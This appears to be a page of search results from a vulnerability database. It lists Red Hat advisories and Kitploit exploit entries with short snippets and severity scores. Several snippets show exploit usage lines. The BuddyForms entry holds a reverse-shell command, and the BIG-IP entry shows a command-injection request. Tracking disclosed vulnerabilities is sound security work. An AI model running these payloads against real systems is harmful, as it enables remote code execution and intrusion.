Lucene search
+L

625547 matches found

RedHat Linux
RedHat Linux
added 2026/08/31 2:32 p.m.5 views

golang.org/x/net/html: golang.org/x/net/html: Arbitrary code execution via Cross-Site Scripting

A flaw was found in golang.org/x/net/html. A remote attacker could exploit this vulnerability by providing specially crafted HTML. When this arbitrary HTML is parsed and rendered, it can result in an unexpected HTML tree, bypassing input sanitization. This can be leveraged to execute Cross-Site...

6.1CVSS7.2AI score0.00223EPSS
SaveExploits0References8
RedHat Linux
RedHat Linux
added 2026/08/31 2:32 p.m.6 views

golang.org/x/net/html: golang: golang.org/x/net/html: Cross-Site Scripting via HTML parsing bypass

A flaw was found in golang.org/x/net/html. When arbitrary HTML is parsed and then rendered, it can result in an unexpected HTML tree. This allows an attacker to bypass HTML sanitization mechanisms, leading to Cross-Site Scripting XSS attacks in applications. Such attacks can result in information...

6.1CVSS6.8AI score0.00223EPSS
SaveExploits0References8
RedHat Linux
RedHat Linux
added 2026/08/31 2:32 p.m.8 views

Important: Red Hat Security Advisory: osbuild-composer security update

An update for osbuild-composer is now available for Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity ratin...

7.5CVSS7AI score0.00431EPSS
SaveExploits0References5
Kitploit
Kitploit
added 2026/08/31 2:32 p.m.3 views

CVE-2025-24893

CVE-2025-24893 root@kitploit: Exploit Title: XWiki 15.10.10 - Unauthenticated Remote Code Execution Date: 09/08/2025 Exploit Author: D3Ext Vendor Homepage: https://www.xwiki.org/ Software Link: https://github.com/xwiki/xwiki-platform Version: 15.10.10 Tested on: Kali Linux 2025 CVE: CVE-2025-2489...

9.8CVSS7.6AI score0.99864EPSS
SaveExploits52
Kitploit
Kitploit
added 2026/08/31 2:31 p.m.2 views

CVE-2023-27372

CVE-2023-27372 La vulnerabilidad existe en el parámetro oubli y permite a un usuario no autenticado ejecutar comandos arbitrarios con privilegios de usuario web. Las ramas 3.2, 4.0, 4.1 y 4.2 están afectadas. Las versiones vulnerables son inferiores a 3.2.18, inferiores a 4.0.10, inferiores a...

9.8CVSS7.4AI score0.99682EPSS
SaveExploits23
Kitploit
Kitploit
added 2026/08/31 2:31 p.m.5 views

CVE-2020-11113

CVE-2020-11113 CVE-2020-11113:Jackson-databind RCE...

8.8CVSS8.3AI score0.06278EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/08/31 2:31 p.m.4 views

CVE-2023-34960

ChamiloCVE-2023-34960-EXP Help: root@kitploit: usage: CVE-2023-34960.py -h -u URL -f FILE -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL Full URL address http/https -f FILE, --file FILE Batch URL file -c COMMAND, --command COMMAND Execute command, optional...

9.8CVSS7.3AI score0.99325EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/08/31 2:31 p.m.4 views

CVE-2024-4879

Jelly Template Injection Vulnerability in ServiceNow | POC CVE-2024-4879 Description: ServiceNow has addressed an input validation vulnerability that was identified in Vancouver and Washington, D.C. Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute...

9.8CVSS7.5AI score0.99976EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/08/31 2:30 p.m.5 views

CVE-2021-44228-log4Shell

CVE-2021-44228-log4Shell exploit Exploit Test runs ping to google.com execute any command prints OS name, version and arch collect details about the OS and User opens calculator on remote machine can execute any executable download this README.md from github Run the ExploitTest root@kitploit: jav...

10CVSS7AI score0.99999EPSS
SaveExploits365
Kitploit
Kitploit
added 2026/08/31 2:29 p.m.3 views

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originally, CVE-2023–26326 required gadget chains to exploit it as a deserialization vulnerability. This method is no longer feasible on newer WordPress sites running on PHP 8+; however, by chaining with...

9.8CVSS7.2AI score0.03824EPSS
SaveExploits5References1
Kitploit
Kitploit
added 2026/08/31 2:28 p.m.3 views

CVE-2022-1388

CVE-2022-1388 Checking and exploit for CVE-2022-1388 Installation: root@kitploit: python3 -m pip install -r requirements.txt Usage Single : root@kitploit: python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"'...

9.8CVSS7.4AI score0.99958EPSS
SaveExploits63References3
Kitploit
Kitploit
added 2026/08/31 2:27 p.m.5 views

CVE-2014-0472

CVE-2014-0472 Use root@kitploit: docker-compose up -d Access localhost:8083 Reference: https://www.djangoproject.com/weblog/2014/apr/21/security/ 1. One or more views are present which construct a URL based on user input commonly, a "next" parameter in a querystring indicating where to redirect...

5.1CVSS6.2AI score0.0565EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/08/31 2:27 p.m.3 views

CVE-2023-39063

CVE-2023-39063 This repository contains an exploit for the vulnerability CVE-2023-39063 found in the RaidenFTPD v2.4.4005 software. The exploit has been created to work with Python 3. Exploit Details Python 3 code to exploit a SEH based Buffer Overflow vulnerability in RaidenFTPD v.2.4.4005. This...

7.8CVSS7.2AI score0.00443EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/08/31 2:27 p.m.6 views

CVE-2022-1329-WordPress-Elementor-3.6.0-3.6.1-3.6.2-Remote-Code-Execution-Exploit

WordPress Plugin - Elementor 3.6.0 3.6.1 3.6.2 Remote Code Execution root@kitploit: Google Dork: none Date: April 16 2022 Exploit Author: AkuCyberSec https://github.com/AkuCyberSec Vendor Homepage: https://elementor.com/ Software Link: https://wordpress.org/plugins/elementor/advanced/ scroll down...

8.8CVSS7.3AI score0.92658EPSS
SaveExploits10
Kitploit
Kitploit
added 2026/08/31 2:27 p.m.3 views

CVE-2020-9484

CVE-2020-9484 PoC para CVE-2020-9484 PoC para CVE-2020-9484 Apache Tomcat RCE por deserialización CVE-2020-9484 Explorar la documentación » Comenzando 1. Clona este repositorio, luego podrás usar CVE-2020-9484 y modificar el código fuente si es necesario. 2. Descarga ysoserial jar 3. Coloca...

7CVSS6.7AI score0.56636EPSS
SaveExploits17References3
Kitploit
Kitploit
added 2026/08/31 2:27 p.m.6 views

CVE-2024-24576-PoC-Python

CVE-2024-24576-Poc-Python A quick POC for the vulnerability disclosed here https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/ After you run the script it will ask for an arg to be passed to the BAT file. In the screenshot you can see that by adding " the...

10CVSS7.4AI score0.20342EPSS
SaveExploits10References1
Kitploit
Kitploit
added 2026/08/31 2:27 p.m.2 views

CVE-2025-7340

🚨 HT Contact Form Widget = 2.2.1 - Carga Arbitraria de Archivos no Autenticada CVE-2025-7340 CVE: CVE-2025-7340 CVSS: 9.8 Crítica 📝 Descripción El complemento HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder. para WordPress es vulnerable a cargas arbitrarias de...

9.8CVSS6.2AI score0.01668EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/08/31 2:27 p.m.3 views

CVE-2020-2883

what's this This project which based weblogiccmd is a poc for CVE-2020-2883. Two Gadget First: root@kitploit: ObjectInputStream.readObject PriorityQueue.readObject PriorityQueue.heapify PriorityQueue.siftDown siftDownUsingComparator com.tangosol.util.comparator.ExtractorComparator.compare...

9.8CVSS7.4AI score0.94928EPSS
SaveExploits11
Kitploit
Kitploit
added 2026/08/31 2:27 p.m.2 views

WebminRCE-EXP-CVE-2019-15107-

CVE-2019-15107: Exploit Modules Available for Remote Code Execution Vulnerability in Webmin 1. Vulnerability Description Webmin is a powerful web-based system administration tool, widely used on Unix systems. Due to a command injection vulnerability in the old parameter during the processing of...

10CVSS7.6AI score0.99766EPSS
SaveExploits39
Kitploit
Kitploit
added 2026/08/31 2:26 p.m.4 views

CVE-2019-0708-Windows

CVE-2019-0708-Windows This article will share the Windows Remote Desktop Service vulnerability CVE-2019-0708, and provide a detailed explanation of the vulnerability and defensive measures. As a cybersecurity beginner, the author shares some self-study basic tutorials, mainly online notes about...

10CVSS7AI score0.99999EPSS
SaveExploits126
Rows per page
Query Builder